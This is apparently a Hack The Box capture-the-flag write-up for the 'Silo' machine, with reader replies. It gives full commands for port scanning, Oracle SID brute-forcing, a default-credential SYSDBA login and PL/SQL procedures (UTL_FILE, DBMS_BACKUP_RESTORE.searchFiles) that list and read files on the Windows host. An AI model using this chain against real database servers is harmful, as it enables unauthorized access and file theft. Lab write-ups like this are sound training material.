Silo write-up, unintended & without ODAT, by 0xEA31

Today I read the Silo’s writeups that have been published in the last few days. As the title says, I’d like to share with you another unintended way to get the flags out of the box, without ODAT, but using some file related stored procedures and an undocumented feature, added in Oracle 10g (and above). It should also be quite less noisy than ODAT, indeed.

Lession learned

  • Always try default users and passwords, also of previous releases, in lowercase, uppercase, camelcase, wtfcase…
  • Always try to elevate privileges of any user on any tool
  • Some Oracle internals and PL/SQL commands
  • An undocumented Oracle feature for finding files.

TL;DR

Long story short or the one minute hack (one minute… ok, almost one minute, if you already have sqlplus installed)

sqlplus scott/tiger@10.10.10.82 AS SYSDBA

create or replace procedure utl_file_test_read (
  path       in varchar2,
  filename   in varchar2)
is
  input_file   utl_file.file_type;
  input_buffer varchar2(4000);
begin
  input_file := utl_file.fopen (path,filename, 'R');

  utl_file.get_line (input_file, input_buffer);
  dbms_output.put_line(input_buffer);
  utl_file.fclose(input_file);
end;
/

set serveroutput on size 1000000
begin
  utl_file_test_read('c:\users\administrator\desktop','root.txt');
end;
/

set serveroutput on size 1000000
begin
  utl_file_test_read('c:\users\Phineas\desktop','user.txt');
end;
/

The real story (kind of…)

Nmap fast

nmap -T4 -vvv -oA nmap/fast 10.10.10.82
Nmap scan report for 10.10.10.82
Host is up, received echo-reply ttl 127 (0.088s latency).
Scanned at 2018-03-18 01:52:23 CET for 2s
Not shown: 988 closed ports
Reason: 988 resets
PORT      STATE SERVICE      REASON
80/tcp    open  http         syn-ack ttl 127
135/tcp   open  msrpc        syn-ack ttl 127
139/tcp   open  netbios-ssn  syn-ack ttl 127
445/tcp   open  microsoft-ds syn-ack ttl 127
1521/tcp  open  oracle       syn-ack ttl 127
49152/tcp open  unknown      syn-ack ttl 127
49153/tcp open  unknown      syn-ack ttl 127
49154/tcp open  unknown      syn-ack ttl 127
49155/tcp open  unknown      syn-ack ttl 127
49158/tcp open  unknown      syn-ack ttl 127
49160/tcp open  unknown      syn-ack ttl 127
49161/tcp open  unknown      syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done at Sun Mar 18 01:52:25 2018 -- 1 IP address (1 host up) scanned in 1.75 seconds

Nmap targeted

Please note that we added 5985 and 5986 because it’s a Windows box and winrm ports are not in the nmap’s top 1000 ports

nmap -sC -sV -oA nmap/targeted -p80,135,139,445,1521,49152-49160,5985,5986 -vvv 10.10.10.82
Nmap scan report for 10.10.10.82
Host is up, received echo-reply ttl 127 (0.043s latency).
Scanned at 2018-03-18 12:09:34 CET for 121s

PORT      STATE  SERVICE      REASON          VERSION
80/tcp    open   http         syn-ack ttl 127 Microsoft IIS httpd 8.5
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
135/tcp   open   msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open   netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open   microsoft-ds syn-ack ttl 127 Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp  open   oracle-tns   syn-ack ttl 127 Oracle TNS listener 11.2.0.2.0 (unauthorized)
5985/tcp  open   http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  closed wsmans       reset ttl 127
49152/tcp open   msrpc        syn-ack ttl 127 Microsoft Windows RPC
49153/tcp open   msrpc        syn-ack ttl 127 Microsoft Windows RPC
49154/tcp open   msrpc        syn-ack ttl 127 Microsoft Windows RPC
49155/tcp open   msrpc        syn-ack ttl 127 Microsoft Windows RPC
49156/tcp closed unknown      reset ttl 127
49157/tcp closed unknown      reset ttl 127
49158/tcp closed unknown      reset ttl 127
49159/tcp open   msrpc        syn-ack ttl 127 Microsoft Windows RPC
49160/tcp open   oracle-tns   syn-ack ttl 127 Oracle TNS listener (requires service name)
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 46363/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 52707/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 38458/udp): CLEAN (Timeout)
|   Check 4 (port 19971/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: supported
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2018-03-18 12:11:28
|_  start_date: 2018-03-18 10:33:18

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 18 12:11:35 2018 -- 1 IP address (1 host up) scanned in 121.62 seconds

Oracle SIDs

nmap --script oracle-sid-brute -p 1521 10.10.10.82 -vvv

Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-18 12:15 CET
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 12:15
Completed NSE at 12:15, 0.00s elapsed
Initiating Ping Scan at 12:15
Scanning 10.10.10.82 [4 ports]
Completed Ping Scan at 12:15, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:15
Completed Parallel DNS resolution of 1 host. at 12:15, 0.02s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 12:15
Scanning 10.10.10.82 [1 port]
Discovered open port 1521/tcp on 10.10.10.82
Completed SYN Stealth Scan at 12:15, 0.07s elapsed (1 total ports)
NSE: Script scanning 10.10.10.82.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 12:15
NSE Timing: About 0.00% done
NSE Timing: About 0.00% done
Completed NSE at 12:16, 77.14s elapsed
Nmap scan report for 10.10.10.82
Host is up, received echo-reply ttl 127 (0.039s latency).
Scanned at 2018-03-18 12:15:40 CET for 77s

PORT     STATE SERVICE REASON
1521/tcp open  oracle  syn-ack ttl 127
| oracle-sid-brute: 
|_  XE

Install sqlplus

Sqlplus is available at oracle.com or, at the moment, here:
GitHub - f00b4r/oracle-instantclient: Oracle InstantClient

User and password

Oracle is configured with user scott and password tiger. As other writeups explain, you can get it, for instance, via metasploit.

This account used to be a non-privileged user in older releases as reported, for instance, here and here: The account is no longer created by default in releases 9 and later. You will need to create it if you want to use it.

SYSDBA

Moreover, scott user is also SYSDBA. So we can connect as

sqlplus scott/tiger@10.10.10.8 AS SYSDBA

That is to say: we have the keys of the kingdom.

root flag

Once connected, since we are SYS, we can directly “cat” the flag using a stored procedure, taken from UTL_FILE :

create or replace procedure utl_file_test_read (
  path       in varchar2,
  filename   in varchar2)
is
  input_file   utl_file.file_type;
  input_buffer varchar2(4000);
begin
  input_file := utl_file.fopen (path,filename, 'R');

  utl_file.get_line (input_file, input_buffer);
  dbms_output.put_line(input_buffer);
  utl_file.fclose(input_file);
end;
/

set serveroutput on size 1000000
begin
  utl_file_test_read('c:\users\administrator\desktop','root.txt');
end;
/

user flag

User flag is a bit tricky to get, because we don’t know… the user name!
If the server is crowded of people using ODAT, you can find the user name issuing this command from sqlplus:

SELECT owner, directory_name, directory_path FROM all_directories;

but since this is a “no ODAT” walkthrough, we will use this undocumented 10g and above feature:

http://www.jlcomp.demon.co.uk/faq/find_files.html

DECLARE
pattern VARCHAR2(1024) := 'C:\users\';
ns VARCHAR2(1024);
BEGIN
SYS.DBMS_OUTPUT.ENABLE(1000000);
SYS.DBMS_BACKUP_RESTORE.searchFiles(pattern, ns);
FOR each_file IN (SELECT FNAME_KRBMSFT AS name FROM X$KRBMSFT) LOOP
DBMS_OUTPUT.PUT_LINE(each_file.name);
END LOOP;
END;
/

as the author says:

[…]
Interestingly, this procedure recursively searches sub directories found in the search string. So passing a string of ‘C:\windows’ (for example) populates x$krbmsft with not only the files found in that directory but all the files found in all directories beneath, such as C:\windows\system32.

As x$krbmsft is an in memory table, you have been warned! Calling this procedure on a directory with thousands of sub directories and files has the potential to consume large amounts of memory (or more likely just generate an exception).

so the previous code outputs:

[...]
C:\USERS\Phineas\AppData\Local\Application Data\Application
Data\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Set
tings\en-US\Classic_{1DD03EE3-FC46-456A-8632-B0717A9D497D}.settingcontent-ms
C:\USERS\Phineas\AppData\Local\Application Data\Application
Data\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Set
tings\en-US\Classic_{1F7C24AC-B26E-4824-84EA-9026B9C0AF0D}.settingcontent-ms
DECLARE

and we can

set serveroutput on size 1000000
begin
  utl_file_test_read('c:\Users\Phineas\Desktop','user.txt');
end;
/ 

Bonuses

to check if utl_file_dir is installed:

select value from v$parameter where name = 'utl_file_dir';

VALUE
--------------------------------------------------------------------------------
*

or

show parameter utl_file

NAME				     TYPE	 VALUE
------------------------------------ ----------- ------------------------------
utl_file_dir			     string	 *

and if we want to grant access to other users to directories:

CREATE OR REPLACE DIRECTORY hook_admin as 'C:\Users\Administrator\Desktop';
CREATE OR REPLACE DIRECTORY hook_user as 'C:\Users\Phineas\Desktop';

GRANT READ ON DIRECTORY hook_admin to other_user
GRANT READ ON DIRECTORY hook_user to other_user

Great write up, makes me sad it took me a few hours!

@Bear said:
Great write up, makes me sad it took me a few hours!

Only a few hours? I think it took me way more than few hours!
Sounds so easy, now, but it wasn’t at all when I did it. :lol:

Nice trick for getting the user flag - thanks for sharing!

I used the same sqlplus method to get the root flag - and it worked even though I did not connect as sysdba! I wonder if this was intended or not…

Using the parameter UTL_FILE_DIR (even set to * in this case) is a deprecated method because it allows any db user (!) to access the file system: UTL_FILE_DIR Security Weakness: Why and How To Use Oracle Directories | Integrigy

I totally missed the sysdba option, so this misconfiguration came to my rescue :wink:

For the user flag I had to upload a shell. I used ODAT for that but I had to modify the code as ODAT tries to create an Oracle directory variable first - instead of using the full directory path directly.